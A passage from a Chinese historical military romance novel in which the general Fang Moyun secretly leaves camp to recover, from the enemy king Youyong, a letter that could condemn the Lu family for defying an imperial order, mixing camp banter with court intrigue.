执礼等人顿时微微的忍着笑，自然在座的明白人，都知道老太君意有所指。而茉云一脸风轻云淡的站起身来，好似压根没听见似的，走到汤桶前准备盛汤，看着汤桶里的汤微微蹙眉，停住了若有所思……
旁边伙营营长老彭凑了过来，忙不迭地问道：“怎么了，方将军，汤是进了虫子还是怎的？”
茉云轻轻一叹，摸着自己的脸，看向汤桶中的自己的倒影说道：“哎，老彭你说，老太君有两个儿子，罗虎都有两个了，看样子，婚嫁这事跟性格和长相好像没多大的干系啊，我为啥没有呢？咄咄怪事，这不应该啊。”
顿时，帐内所有人再也忍不住哄堂大笑，连元帅也不禁掩嘴笑出了声，营中氛围顿时也轻松愉悦了起来。
卢老太君一副懒里茉云的表情，放下筷子转向执礼，神情终于温和了几分问道：“你少主和若辰他们呢？可用晚膳了？”
执礼恭敬地站起身，答道：“老太君，是旨意快到了，少主和萧小王爷、关大人已经去了营门迎旨。说圣旨传来之前，让您和元帅先用晚膳，等旨意到了之后，再请您和元帅去。”
“嗯！”老太君的话刚刚落下，营帐外传来了清晰的声音——“圣旨到！”
顿时，所有人都下意识地放下了手中的碗筷，齐齐起身，随着老太君和元帅，神情肃穆地走向主营接旨。
圣旨的内容大多是对卢家军战绩的肯定与嘉奖，但是提到了一项朝廷新的安排——西北第一大国新元，将调兵十万来此，助卢家军共抗峑戎。
众人认真听完宣读的圣旨谢恩后，元帅恭敬的接过圣旨，神情中顿时露出一丝喜悦，他望向卢老太君和魏父帅等人笑着说道：“有新元盟友来援，这是好事啊。”
执礼在一旁扶起了卢老太君，卢老太君眼中也透出一丝欣慰，嘴角微微上扬点了点头。
“是啊，元帅，若能和新元联手，峑戎必能尽快拿下。”魏副帅镇守西境多年，自然知道新元军的实力。
众人神情都渐渐舒展，面容上皆浮现出喜悦，茉云却望向正啸，唯有他眼中散出一丝忧虑……
夜幕低垂之时，营帐内依旧灯火摇曳，温暖的光将帐内的每个人的脸庞都映照得柔和起来,若辰和萧怀逸等人，都在营中跟正啸讨论着京城局势。
萧怀逸看着旨意，若有所思的说道：“这定是西北新元国，自己向朝廷提出了共抗峑戎的建议。”
若辰微微挑眉，转头望向怀逸，语气平静却带着疑虑：“新元国……和峑戎素来井水不犯河水，疆域并不相连。”
“新元，乃西北的第一大国，国力远胜西边第一大国西宁。西宁是富庶，但新元是强大！”怀逸顿了顿，语气更显深沉，“新元之军素有铁狮之称，如果他们愿意一同攻打峑戎，那无疑是对卢家军极大的助力。而且四方盟友共抗峑戎，朝廷和圣上必定也欣然接纳。”
茉云此时坐在正啸的身旁，神情淡然眉头微挑，开口问道：“世上竟有这样的好事？他们要什么？”
萧怀逸愣了一下，顿时略微停顿的了半刻，才沉声说道：“他们定然是希望和朝廷修万世之好。”
茉云微微一笑，嘴角轻轻上扬，准备起身说道：“萧小王爷，何必说一句，留半句？既然如此，我就先去休息了，你们聊吧。”
若辰看向茉云起身的背影，旋即温和地笑了说道：“怀逸定然没有要回避你的意思，许是你提问过于敏锐，他一时也不好如何作答。”
茉云目光透出了冷冽，声音依旧淡漠却带着锋芒：“跟朝廷修好，每一代通个婚即可，何必劳民伤财地率部大战，这不合常理，你这唬谁呢？”
萧怀逸听到茉云的话，顿时无语而忿然的答道：“新元的王后，本是我朝的长公主，是昔日王妃也就是正啸哥的姑姑一手带大，她心中定然想帮朝廷，也想帮正啸哥，而且……她更想帮她亲弟在诸多皇子中脱颖而出。”
“这还算说得过去。”茉云这才重新坐了下去，神色淡然思虑着此话。
整个营帐又恢复了沉默，众人都静静地望向正啸，好似等待着他的反应。而正啸低头看着手中的茶盏，神色沉静一直未有言语……
茉云却看向正啸，语气不急不缓的说道：“你是不是忧虑……当年老卢帅曾定下过规矩，卢家绝不参与皇室纷争，此乃大忌。而且如今卢家军完全有实力剿灭峑戎，无需援军来插一杠
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子，平添诸多麻烦。”
正啸终于抬起头，看向茉云眼神深邃的说道：“对。”
执礼和若辰都愣了一下望向正啸，他们忽然意识到正啸的沉默原来是忧虑重重。要知道长公主自幼便是对卢家礼敬有加，卢老太君和元帅都颇为欣慰，难怪只有他，在接旨之时，是卢家唯一一个没有面露喜色之人。
茉云望向正啸，直白地问道：“你是觉得她会来者不善吗？”
正啸声音温和却带着几分沉思的说道：“那倒未必，只是我知……长姐和其皇弟，姐弟情义深厚。只怕新元军一来，皇子也会随之而来。”
话音落下，众人顿时深吸了一口气。新元国带军来援，本是好事，但众人皆知，如今朝廷未立太子，这场战斗若与夺嫡之争牵扯上关系，局势势必更加复杂，稍有不慎便可能卷至朝堂之上最深的漩涡。
茉云看着正啸轻轻笑了，眼中却透着一股坚定：“素来都是兵来将挡水来土掩，担忧太多无用。只要此时能众志成城打赢这一战就行，其余无所谓。”
正啸望向她，两人的目光交汇，四目相触之间，彼此眼中都透出笃定而坚毅的光芒。
茉云忽然又目光狡黠地一转，嘴角微翘的说道：“而且来个皇子有何关系，只要别来个公主，夜里穿得极为凉快的来找少帅秉烛谈心就行。”
顿时众人哄堂大笑，正啸也无语的被逗笑了。
帐内气氛终于回归了轻松，茉云准备起身之时，又满脸笑意盈盈地望向若辰说道：“你知道，此刻萧小王爷心里想什么吗？”
若辰抬目望向茉云，而萧怀逸一听脸色一正，还未等若辰言语，自己便说道：“我能想什么，自是与哥哥们一心！”
“我不是说公事。”茉云笑着一脸戏谑的说道，“萧小王爷此刻心里肯定在想——嗯，方茉云这贱人，到底还是有点本事哈，哥哥一晚上都没说几句话，这贱人一两句话就让哥哥笑了。”
帐内顿时笑得更乐了，萧怀逸也忍俊不禁的被逗笑了。
“对，你姐姐我就是有本事！”茉云笑嘻嘻地起身，眉眼弯弯一脸娇俏：“行了，别想那么多了，早些歇息吧。”
正啸原本冷峻的神情也柔和了下来，眼中不自觉透出一抹温意点点头。
茉云步履轻盈的走到营帐门口，忽然脚步一顿，转身一脸诚恳地看向正啸：“不如让我去……”
“绝无可能！”正啸毫不迟疑地打断了她的话。
茉云眉毛一挑嘴角一撇问道：“为何？”
“不行就是不行！”
茉云顿时眼中透出一丝忿然，咬咬牙问道：“若我是王强，你会让我去吗？”
“会！”正啸也不假思索的爽快回答道。
茉云顿时气不打一处来，瞪着正啸说道：“那少帅，末将敢问您一句，您如此假公济私，就不怕御史参你吗？”
正啸看向她亦不躲闪，直白地回道：“你可以去参我，但你绝不可以去探峑戎。”
茉云差点被他气笑了，一脸无处讲理的忿然，掀开营门就走了，边走边抱怨道：“我真是越混越回去了，干什么，还要征得人同意！”
帐内众人这才反应过来，两人原来是在说探查峑戎之事。若辰、执礼对视一眼，都忍不住笑出声来……
夜色渐深，军营被浓重的漆黑包裹，只剩冷冷的星辰好似镶嵌在天际的夜空之中，茉云抬目眺望远处，自己知道他心中忧虑，自己心中亦在叹息，卢家和卢家军其实一直注定都是朝局中的棋子，而这颗棋子只渴求忠君报国，哪怕给个机会，让他们能把边关平了就好，可总有暗涌从身后不断袭来。
前方呢？亦不知前路有何艰险，其实自己明白他为何不让自己去探峑戎，因为如今……身披铠甲的他和自己，却是彼此最大的软肋。
333.决然
翌日清晨，茉云刚迷迷糊糊从营帐里出来，便听见威行跟雄山议论道，正啸已跟沧海下令，没有他的允准，不得放茉云私自出城，若是茉云私自出了城，沧海和万莫一同受罚。
茉云听得一愣，顿时一股火气涌上心头，转身就冲进了正啸的营帐，吼道：“好汉做事好汉当，牵连沧海哥和万莫干什么？！”
营帐内的气氛瞬间安静了望向茉云，正啸压根没有搭腔，沧海则一脸无语，正啸正跟他布置军务，若辰和执礼则是旋即露出一脸看好戏的神情观望着。
见他沉默不语，茉云的火气好似更上一层楼，手拍着桌子骂道：“我都应了不去了，就这么一点点信任感都没有吗？沧海哥你说，我是不是之前一直也呆在军营哪儿都没去！”
沧海顿时眼中满是无奈，他抬头看了看这两人，说道：“你……你就呆在军营，就不会罚嘛！”
“沧海哥，你总是偏袒他！”茉云气愤地又转向万莫，说道：“万莫你说，他不让我去我就不去了，我都答应了，这是不是太过分了！”
万莫被她这么一问愣了半晌，用胖手挠了挠头想着说道：“那时，少主在中州刚认识你，他让你小心行事别闯祸，你转身就去了关府把关公子打了。然后少主回京，也跟你说别再闯祸，你答应了，可是少主回来的时候，发现你把宋大人的马车驾到河里去了。后来，少主又说让你去过些悠闲安生日子，你也应了，后来你就去了南华，结果起了大火。若不是少主去救你，你就被烧在里面了。”
茉云听到这里，顿时愣了半刻，低头若有所思地回忆着。
万莫也继续回忆道：“以前少主不让你出关，你就老出关。一次碰见了毒戎，另一次又在吉祥村撞见了幽戎。每次都是少主着急赶去救你。还有你还去了……暗营、裴桥、围渡城好多地方，每次都把少主吓得半死赶去救你。但是少主最近没空，要不你就在城里逛逛吧？”
茉云顿时就偃旗息鼓地站在那里，回忆着没晃过神，良久之后摸了摸自己额头转身说道：“好吧……天啊，你怎么记性这么好，我这么不靠谱吗？亏我我昨晚上还想着，谁有我这么好的下属，真是上天的恩赐。”
顿时，帐内众人哄堂大笑，正啸也忍不住无语地被逗笑了，眼中满是无奈望向她的背影，眼底却透出一丝温和与宠溺。
待茉云走出营帐，执礼看着万莫带着一丝戏谑，笑着说道：“少主真是没有白疼万莫，除了你，也没人敢跟她说这么多，为少主伸张正义的话！”
万莫一愣又挠了挠头，似乎没完全明白执礼的意思，表情有些懵：“我还有很多没说呢，你们说的那些，少主撞见茉云真命苦，是天降劫难的那些事……”
“你这可别说啊！”执礼顿时反应极大，语气明显紧张地说道。
而万莫身旁一向沉默寡言的千山也忽然开口，瞪着万莫骂道：“你胡说八道什么呢，你哥我可没说过，劫什么难，都是天降的缘分。”
“啊？”万莫一脸怀疑地看着千山，营帐内瞬间再一次哄堂大笑，连正啸也忍不住轻轻摇头，嘴角又扬起一丝无奈的笑意。
安排完军务后，正啸站起身来准备按照圣旨带领人马去迎接新元大军。临行之前，在军营门口他看向沧海，沧海心领神会地点了点头，示意让他放心。茉云也看见了，没好气的白了他们一眼。
翌日春日和煦，茉云去到司融都城大街上，感受人们这份劫后重生的喜悦，她穿过熙熙攘攘的街市，目光停留在路边摊上的一位年轻少妇制作的米糕上，她顿时开心地停了下来，买了两个米糕，旋即就吃了起来。
就在此时，一道飞镖突然极速射来直奔她而去。茉云眼疾手快一只手挡住了那个女子，一只手迅速拔剑挡住了飞镖。飞镖哐地一声落在地上，上面竟然绑着一张字条。
她旋即转身看向飞镖射来的方向，已经什么都不见了，她微微低头目光凝视着飞镖，心中隐隐有些不安。最终还是俯身捡了起来。展开字条，眼神逐渐变得凝重，神色一凛……
茉云随即转身朝军营方向飞身而去，她心中知晓，若此信之中所言是真……那卢家军又要迎来一场浩劫般的风波。
她快步回到了军营，一进营帐便让人叫来了王强，开门见山的说道：“随我去一趟峑戎。”
王强愣了半刻，晃过神后眼中没有半刻犹豫，转身就要走。
茉云立刻低吼道：“站住！你要去干嘛？”
“少帅不在军营，我去告诉沧海将军。”
茉云顿时瞪大了眼睛，抬手冲着王强的脑袋就是一下：“你活腻味了！”
王强却难得的不甘示弱，语气坚定地说道：“少帅三令五申，你不可以去峑戎，全营上下都知道！”
“我此刻若不是非去不可，在这里跟你废话什么！”茉云从怀中掏出了那张字条，微微一折露出了第一行字，狠狠地递到王强眼前。
王强没好气瞥了一眼，但眼神猛地一凝，指着字条上的字，惊讶地说道：“这不可能吧！”
说着王强要扯过字条，茉云立刻收回了手，没好气地说道：“看一行就行了，免得日后我还要考虑是不是灭你的口！”
“这不可能，定是敌人污蔑陷害的诡计，不可能得逞！”
茉云深吸一口气，神色凝重却冷静地说道：“陷害肯定是陷害，但是能不能得逞就未必，你看看这是谁的字？”
王强仔细又端详了半刻，顿时睁大了眼睛，吃惊地说道：“幽戎的字！他……他……”
茉云的点了点头，眼神变得更加沉静：“对，他虽疯癫，但绝不可能干那些骗你好玩的事！所以我肯定要去一趟！”
“可……可是沧海哥不会让你出城的！”王强有些紧张的看向茉云说道，“那……怎么办呢？要不找不言弄晕他？”
茉云顿时没好气操起旁边的文书，就砸向他头骂道：“你这是什么瞎主意，自己人你怎么下得去手？”
王强无奈地抱着头，语气有些无力的说道：“那你当着人面跑，不连累沧海将军遭军法处置吗？”
茉云瞪着王强一脸的嫌弃说道：“那当然也不行！多损害他军中威信！我自有办法，你去准备就行。”
“好吧！”王强有些仓皇的点点头说道。
王强走后，茉云亦旋即走出营帐，此刻她已下定决心要去会会幽戎，他手中紧握着那张字条，疾步去往了卢老太君的营帐。
拨开营帘，她便瞧见卢老太君坐在桌前闭目养神，老太君听到脚步声，睁开眼瞥了眼茉云，丝毫没有掩饰自己还未消的怒气，说道：“你还知道来看我？”
“对，我有事找您帮忙！”茉云没有多说什么，径直将手中的字条递给了卢老太君，眼底一片冷静。
卢老太君一脸狐疑地接过字条，目光扫过纸面，瞬间她的手猛然一颤，一把扯过字条打开，字条上的内容让她呼吸都好似骤然停滞，低声吼道：“这哪儿来的！？”
茉云不动声色地看着她：“方才在司融都城，一个飞镖带来的字条。字是幽戎的字。”
卢老太君眼中顿时闪过一丝惊恐，瞳孔微微放大，显然已经意识到事情的严重性，她抬起头紧张地注视着茉云，心跳也在瞬间加速。
这字条上开头写了一行大字——想来看看当年老卢帅抗旨欺君的罪证吗？
然后下面还抄录了一段老卢帅的信件内容，此信应该是当年老卢帅跟朝中华太尉写的一封私信，大体内容是将在外，君命有所不受。纵使圣上下旨撤兵，也请华太尉尽量拖延，他自己不会管圣旨，只管一往无前剿灭峑戎……
卢老太君的眼中充满了震惊和愤怒，情绪几乎失控地低吼：“峑戎怎么会有此信？”
茉云的眼神依然冷静，她低头一把扯过信，快速点亮了旁边的烛火，将字条伸到烛火旁，看着字条瞬间被火焰吞噬，然后松手让字条落在地上化为灰烬，淡然的说道：“帮我将沧海调走，我要去一趟。”
就在此时，元帅走进了营帐，看到卢老太君和茉云站在那里，神色有些严肃，茉云立刻将燃烧的字条踩灭在地上，面带微笑掩盖着刚才有些紧张的氛围。
元帅停下脚步有些狐疑地看向茉云，试探的说道：“你这丫头，可别再惹老太君生气。”
茉云一脸傻笑的的点点头，卢老太君渐渐恢复了镇定，片刻后她缓缓开口道：“听说这次粮食是西边来的，还是西边的王爷宏王亲自护送。少帅不在营中，为了妥当还是让军中军阶最高的沧海，带队去接应一下，也算是不失礼。”
元帅愣了半刻，眼中闪过一丝迟疑，卢老太君一向也不插手军中具体事务。茉云却不等他开口，满脸轻松说道：“元帅，我去也可以，我也是三品云麾将军嘛。”
元帅闻言顿时乐了，语气变得轻松起来：“那还是沧海去吧，你啊，这需要礼节的事，不适合你干。娘，你放心，我这就去安排！你记得把这药趁热喝了。”
“嗯！沧海那小子素来硬朗，让他带几个机灵，说话好听的小子去！那宏王爷素来是个性情中人！”
“好！”
元帅走后，营帐内的气氛瞬间变回压抑而沉重。茉云指着地上的纸灰看向卢老太君，问道：“这信您和还记得，是老卢帅写过的吗？”
卢老太君眼中的沉重愈加明显，她缓缓点了点头，显然在回忆往昔，痛心的继续说道：“是的，他写的。信后半段更是写了，若朝中局势大动，哪怕是新皇登基，也没有什么比边关安康更重要……！”
茉云顿时深吸一口气看向卢老太君，心中不禁感叹，老卢帅为边关万民，可谓是丹心一片，可照汗青。但自古有哪个皇帝能容得下不管君王死活的臣子！
“可是老卢帅一定想不到，华太尉居然没有将此信毁了。哎……人心难测啊！”她叹了口气眼角微微泛红，声音中带着深深的苦痛，“当日他一心平定南境，连新皇登基时他都未回京保驾。若他在，女儿也不至于为护驾，而死得如此不明不白。可如今，他满腔为国为民之心，居然成了足以扳
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倒卢家的抗旨罪证，可叹啊！”
茉云听到这番话眉头微蹙，冷静地起身说道：“老太君，此时说这些皆是枉然，人心我从未信过，为今之计，我一定要去将此信取回毁了。”
卢老太君望着茉云，眼中闪过一丝担忧：“这么一封能治卢家于死地的信，敌人怎么可能给你？”
“不给我，叫我去干嘛？那疯子的想法您不会懂的。我先去准备一下，沧海哥一走，我就离营。”茉云此刻眼神里满是坚毅与决绝。
卢老太君顿时眉头紧蹙，眼中流露出一抹惆怅和担忧，一把拉住了茉云说道：“方茉云，如果你有什么状况，卢正啸也会疯了不可。”
“好，那我就不去了，咱们就等着一起玩完？”茉云听到这话冷冷的回道，可是看见老太君渐渐松开了手，茉云才嘴角微微扬起的安抚道，“放心，你孙子没那么脆弱！”
说完，她转身头便往营门走，走到营门之时她忽然停住了：“老太君，此事先别告诉他吧。”
“为何，他爷爷并未做错什么！”
“那是因为老卢帅从来都是您的信仰，在您这……您体谅心疼他的一切，可对于正啸来说，不论是他爷爷还是他姑姑、姑父都是他此生至亲，亲人相负，总是蹉跎，他素来对他皇上姑父一片赤诚，您何苦告诉他，让他两难……”
说完茉云飞身便离开了，营帐内的显得更加寂静，卢老太君望着茉云的背影，眼中闪过一抹复杂的欣慰，她心中明白茉云亦会体谅心疼自己孙儿的一切，日后无论面对怎样的困境，茉云都会坚定地和正啸走下去，这种坚定，甚至让她心生敬畏，因为只有这种坚定，才是卢家未来唯一能够依靠的力量。
此时，沧海接令迟疑了半分，可是元帅催促他带着小马和太易速去，魏副帅亦说这个西边的宏王爷豪气干云，但素来好面，让沧海不要再耽误，沧海也就旋即接令出发了。
出发前还特地去看了一眼茉云，本想嘱托她几句，可茉云正在白神医哪里，带着受伤复原的士兵们，活动筋骨踢着毽子，正玩得开心，他亦就放心地离开了营帐。
沧海一走茉云便带着王强出营了，出营之时还恰巧撞见了周总教头，望向她便问：“你去哪，还骑马？”
茉云身旁的王强旋即一愣，背心里都是汗。
茉云则一脸开心的掏出兜里没吃完的米糕说道：“去城里买米糕，可好吃了，眼看就要天黑了不骑马赶去，等下买不着了！要不要跟你带点！”
“不用，一天到晚就知道吃吃喝喝，你少闯祸就行！”
“行了，知道了，知道了，您真是越来越啰嗦了！”茉云一脸不耐烦地说道，“得亏您夫人不怎么听得见！”
周总教头顿时就转身瞪着茉云，茉云则乐了飞身上马对润吉低吼道：“还不赶快开门，等下周总教头冲过来了！”
润吉和营门守卫顷刻被逗笑了，马上给她打开了营门，茉云便带着王强驰骋出营，一路往峑戎而去。
呼啸的风在耳畔飞掠，远方的天际已经逐渐染上了薄暮的色彩，峑戎的地界即将到了。茉云忽然拉住了缰绳，轻轻地让马匹停了下来，回头看向王强：“你可在这里等我。”
王强顿时没有好气地瞪了她一眼：“怎么？我还能让你单独去幽会啊？”
茉云压根懒理会王强的调侃，冷冷地回应道：“可能是有去无回，你可想好了。”
王强叹了口气，神情有些无奈地说道：“那我也跟你一起去，你若无回，我敢回吗？倒是你，你可想好了，你可是问都没问少帅一句！”
茉云旋即白了他一眼，没好气的说道：“我问他？天塌下来他都不会让我去。”
“原来你知道啊！那你可想过，你如今都不留信跟少帅说一声缘由，便去了，他如何想？少帅回来知道……定会气炸了去！”
茉云轻轻一笑，眼神中却藏着一抹深深的坚定：“在他那，我无理取闹惯了，大不了执行军法，打我个几十棍。正好还能以卢家军军纪严明的形象威慑一下援军，至于你，就自求多福吧。”
王强忿然的瞪向茉云低声骂道：“村里人说的果然不错，你就是这世上最大的坑！”
茉云旋即被逗笑了，可顷刻间，她目光又是一凛，望向王强说道：“对了，记得字条的事不要告诉少帅。”
王强愣了半刻，瞬间眉头紧锁显然有些不解：“为何？”
茉云目光深邃地望向远方，意味深长的说道：“没有为何！行路难，不在山，不在水，只在人情反覆间……盼君莫彷徨。”
“不懂。”王强微微皱眉摇了摇头。
茉云轻轻一笑，眼神中带着几分嫌弃地说：“不懂啊，那争取让你回去，多读点书。”
王强听了，眼中闪过一丝狡黠调侃道：“我也是读过书的！我也会念！比方说，那句话怎么说的来着……情不知所起，一往情深啊。”
茉云顿时被逗笑了，眼中闪过一丝温暖看向前方，毅然决然朝峑戎国界策马而去……
334.老友
茉云和王强跨过了峑戎的国界，进入了这片陌生而危机丛丛的土地。一路上却顺利得出奇，几乎没有遇到任何阻碍，好像有看不见的力量在背后默默地护送着他们。
直至他们进入了峑戎边陲商贸小镇——支易，进关之后王强都纳闷地转头看了看茉云，心中升起了一丝疑惑：“这么通畅？”
茉云没有回答王强，只是静静地望着这繁茂的小镇，此处不仅是商旅往来的重镇，更是连接峑戎连接外域的要道。行人络绎不绝，马车的车轮在石板上轧出清脆的声响。
街市两旁五光十色的摊位排列得整整齐齐，有带着异域风情的牛羊皮制品、精巧的铜器、色彩斑斓的饰品，各式各样的香料，一应俱全。而摊主个个高大粗壮，一边做着生意，一边目光锐利随时警觉着周围的动静。
茉云顿时嘴角微扬，目光扫视了四周一圈，峑戎果然是民风彪悍，镇上大多皆是体魄魁梧，肌肉坚实之人，个个随身携带刀剑，腰间挂着他们习俗中象征各自身份的饰品。
她眺望像远方，这片土地上好似就生长着强烈的阳光，连风中都带着一股野性和粗犷的气息，与中原的细腻温和截然不同，尚武者强应该已经深深植根于他们的血脉。
此时，王强凑过来继续小声说道：“这是峑戎国界里，非本国人唯一能到达的地方了，再往前就进不去了，他约你在哪？”
茉云抬起头看向前方，目光微顿，不远处有一家诺大的客栈，不同于其他商铺门前热闹非凡，这家客栈尽然无人进出。而且二楼的露台上，亦没有任何动静。
她骑马行至客栈前，拉住缰绳跳下马来，轻声说道：“应该就是这吧。”
王强仍然感觉有些不对劲，眉头微微皱起：“诶，这家客栈一向生意兴旺啊，怎么今天这么冷清？是不是有诈！”
话音刚落，一道身影从客栈门口走了出来，茉云看了一眼认出那是集益，她顿时微微一笑嘴角上扬道：“诶，这不是集益将军吗？”
“二楼，请。”集益眼神异常冷漠地望向茉云，语气不咸不淡的说。
而王强亦警觉地看向集益，跟着茉云满脸不屑的走了进去。
茉云脸上的笑容则带着几分轻松，看向集益调侃道：“集益将军，好久不见啊，改行做小二了吗。可您这小二也当得皮笑肉不笑的，不太称职啊！得亏你有个好掌柜，不论你多菜，人都能容你。”
“你！”集益顿时没好气地瞪向茉云，却不敢出言不逊。
正当此时，楼上传来了幽戎地笑声，茉云的眉头一挑目光下意识地望向楼梯口，看到幽戎站在楼梯上方，带着那抹熟悉的邪魅笑容，目光深深地望向自己。
王强抬头望去顿时就被震慑住了，看着这个身材魁梧，身形结实的男人，他棱角分明五官深邃，一双深沉的黑眸犹如深渊般深不可测。他手臂只是轻轻搭在楼梯栏杆上，透过略微紧绷的衣袖，能感受到他肌肉的线条，好似每一寸躯体都充满了力量，眉宇间更是流露出无可匹敌的霸气，王强顷刻就明白——他应该就是那位鼎鼎大名的幽戎，
此刻，他站在楼上黑发随风而动，胸膛衣襟微微张开，依旧散发出一种不羁与狂野的气息，然而，当他望向茉云时，他那凌冽而刚强的眼神，瞬间透出一份独有的温柔……
茉云一脸处之泰然的走上楼，瞬间被满桌的佳肴所吸引，一大盘热腾腾的烤肉，切成厚厚的一块块，色泽鲜亮，表面稍微焦黄，牛肉吸收了多种香料的精华，散发出浓郁的香气，外面撒上一层孜然。
每个座位前，还摆着一大碗牛骨汤，浓白的汤底清澈透亮，散发出独特的牛骨香。旁边独特的牛肉炒饭粒粒分明，更是透着令人垂涎的色泽，其中牛肉丝被炒至外焦里嫩，加入了香料、辣椒与洋葱丁，一切混合得恰到好处，还有牛肉拌菜、炭烧牛舌和卤煮牛蹄筋……
整桌菜肴香气四溢，色彩丰富，从牛肉到配菜，再到汤品，每一道菜不仅仅满足了味蕾，亦透着西部少数民族的豪迈和热情。
茉云旋即露出了畅然笑意，毫不迟疑地坐下，说道：“这般客气，那怎么好意思？幸亏我一路上来，什么都没吃。”
幽戎走在桌旁，目光温和笑了说道：“本来是要请你吃昔日跟你说的那家烤全羊的全羊宴，可听说你不吃羊肉了。”
茉云拿起筷子嘴角微扬，调侃中又带着几分冷冽的语气说道：“对，这得谢谢你们啊，不知道救了多少只羊。”
站在一旁的集益瞪向茉云，他自然是也听说过茉云的誓言，不灭峑戎，不给她义父报仇之前，绝不再吃一口羊肉。幽戎则毫不介意地拿起酒壶，一脸从容地亲自为茉云和自己斟满了酒杯。
酒液在杯中闪烁，瞬间酒香四溢，茉云闻了闻酒，顿时露出了一抹沉醉的笑意，她端起酒杯一口喝下，满是赞叹地说道：“好酒！”
王强见状却脸色有几分呆滞，他想阻止却已经晚了……茉云已经一饮而尽，他只能有些惶恐的小声问道：“你为何就这么喝了？”
“这么好的酒，不喝白不喝啊！过了这一村就没这一店了。”
幽戎顿时又被她微微逗笑，这一瞬间，他的眼神变得愈发柔和，似乎从她身上看到了久违的肆意与洒脱。他抬手再帮她将酒斟满，然后举起酒杯与她碰杯，两人如多年好友般一饮而尽。
茉云放下酒杯之时，便看向幽戎直截了当地说：“信给我。”
幽戎也没有丝毫犹豫，从身上取出那信，直接放到桌上推向她。茉云则一脸怀疑的看向峑戎，打开了信件确认的无误后，她才迅速将信收进怀里，语气轻松好似闲聊一般：“好，信是真的，谢啦！”
“你！”集益顿时愤然的瞪向茉云，可是幽戎丝毫未介意，反而又被她逗笑了，方茉云对人是从没有信任感的，她亦从不掩藏。
王强坐在一旁则彻底呆愣住了，心中只有一个疑问——一封这么重要的信，就这样要到了？
茉云继续大快朵颐地吃着桌上的菜肴，轻松地朝王强说道：“这个烤肉做得极致好吃，平衡了肉嫩和劲道，而且多汁又浓郁，你老盯着人看干什么，快尝尝啊。”
王强一脸无语的看向茉云，自己心都提到了嗓子眼，她却一脸纯粹的享受着美食，好似压根不知身在敌营，完全沉浸在这片菜肴里。
幽戎则微微抬手指示道：“让人再做一份，端上来。”
随即旁边的侍卫立刻恭敬地回应道：“是，大王。”
茉云筷子瞬间停了半刻看向幽戎，幽戎也直视着她，看见她的眼中竟没有一丝惊叹，反而是带着几分轻松，嬉笑着说道：“兄弟啊，混得不错啊。”
幽戎闻言瞬间无语的被逗笑了，好似这一刻，他完全放下了身上的重担和威压，笑得如此真切。集益站在旁边，心中也不禁暗自叹息……他已经好久没见幽戎这样单纯开心的笑容了，似乎这一刻，所有的诡诈与权谋都消散无踪，只有欢喜。
良久之后，幽戎看着埋头大吃特吃的茉云温和的说道：“西宁的战打得不错，不比我和卢正啸差。”
茉云的脸上顿时露出了一丝欣慰的笑容，马上举起了酒杯，说道：“幽戎，你这人最大的优点，就是说话实在。我方茉云不过就是比你两出生差点！”
幽戎顿时撑着头笑得不行，和茉云碰杯之后，将酒又一饮而尽，看着茉云眼中都闪烁着愉悦，淡然说道：“可显出了这么大的能耐，你要小心你们那朝廷容不下你。”
茉云则一边继续夹起一块牛舌，一边
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毫不在意地说道：“怎么，你这是过来人的角度劝我？”
她的语气看似轻松，但言语之中隐隐透出了对于幽戎谋朝篡位的审视。
就在此时，集益忍不住满是忿然的吼道：“这不也要感谢你昔日散播的谣言，说天有异象，小主子会是峑戎未来的王？”
他的声音中带着滔天的怒气，王强愣了半刻警觉的看着……
茉云却丝毫不为所动，顿时一脸悲痛的神情捂着额头，装作极为懊悔的样子：“哎，这就不好意思啦，我这辈子老做这种搬起石头砸自己的脚的事。昔日在暗营我就本该救那国师的，结果帮了你主子，谁知你主子命这般硬，换做国师那妖怪，肯定折腾不了你们这么久。”
集益顿时气得眼中迸射出怒火，但幽戎却没丝毫生气反而爽朗地笑了：“方茉云，就算再给你一次机会，你也还是会选择救我的。”
“怎么？这人做了大王，自我感觉这么良好了？”
幽戎的笑容更深，眼底皆是柔和的光，但眼神依旧深邃，好似一眼就能将茉云看透：“你这辈子从来做不了违心的选择，这也让你自己的路，难走了很多。”
王强望向幽戎，心中不禁又掠过一丝震惊，他跟平日里传闻中的冷酷残暴完全不同，他原来有如此柔软的一面。而茉云一如既往的直接，语含深意又透着狠戾，他却全然不恼……
“是不是经历了太多人生苦痛，你就会把有的人，想象或粉饰得特别好。”茉云无语的望向幽戎带着几分探究的问道。
“你说你啊？你狠戾，毒辣还有城府极深，若再有机会，你会毫不犹豫的要我命！”
“你这也还算清醒啊！”
“那你清醒吗？”幽戎望向她，眼底又透出一丝深沉的光芒，炙热而复杂，“你知道未来会面临什么吗？他能护着你吗？”
茉云轻轻挑眉反问道：“那我问你，幽戎你是想做大王吗？”
幽戎怔了半刻看向茉云，深深吸了口气，却没有言语……
茉云抿了一口酒，不紧不慢地继续说道：“你不想！你不过是想扫清一切阻碍，拼尽所有为你的族人，和卢正啸旷世而宿命的打这一仗，不论结局如何，今生也无怨无悔了！”
幽戎的目光在茉云的话语中渐渐停顿，他的心似乎被什么东西深深触动了。束缚已久的孤独、困惑和挣扎，在这一刻被洞察，被理解，顿时体内好似每一根神经都在燃烧……
集益闻言却愣在原地，不由自主看向茉云，一时他竟然也有些哽咽，这些日子以来的血雨腥风，本也让他觉得迷茫，自己都好似不认得眼前这个冷酷而残暴主子了，可原来只有她能明白主子是……
良久之后，幽戎终于压抑住了内心的翻涌，待那几乎将他吞噬的炙热情感慢慢退去，轻轻一笑看向茉云又问道：“你怎么知道我不想做大王？”
茉云粲然一笑，语气中带着几分打趣说道：“大哥，你一个穿衣服连扣子都懒得扣，哪怕是将领口系紧一点都觉得束缚之人，做大王？想想都知道，你每日有多欢乐，多自在了。”
幽戎顿时笑出了声，这笑声中没有任何压抑与伪装，亦没有任何防备，带着久违的畅快，将杯中酒一饮而尽：“对，我看着那些奏折，时常连想死的心都有了！”
两人好似就久别重逢的老友，默契而了解地分享着彼此的无奈和窘境。
片刻后，幽戎深深望着茉云，忽然问道：“那他那有什么值得你无怨无悔的？”
“这话说的……你不也挺看得上他的？他可是你这个自视甚高，桀骜孤寂又极不合群之人，在这世上唯一承认过的朋友！”茉云望向幽戎笑着说道。
幽戎微微一顿，好似茉云之言风过无痕一般，一语未发……
335.以后
微凉的风轻轻吹拂进来，带着些许黄沙和远处山脉的草木气息。太阳已悄悄下沉，天际染上一层温和的橙红，镇子依旧热闹非凡，摊贩们的叫卖声此起彼伏，好似没有一刻打算停歇。远处的酒馆里，隐约传来阵阵的歌声与欢笑声，夹杂着他们族人的粗犷与豪放。
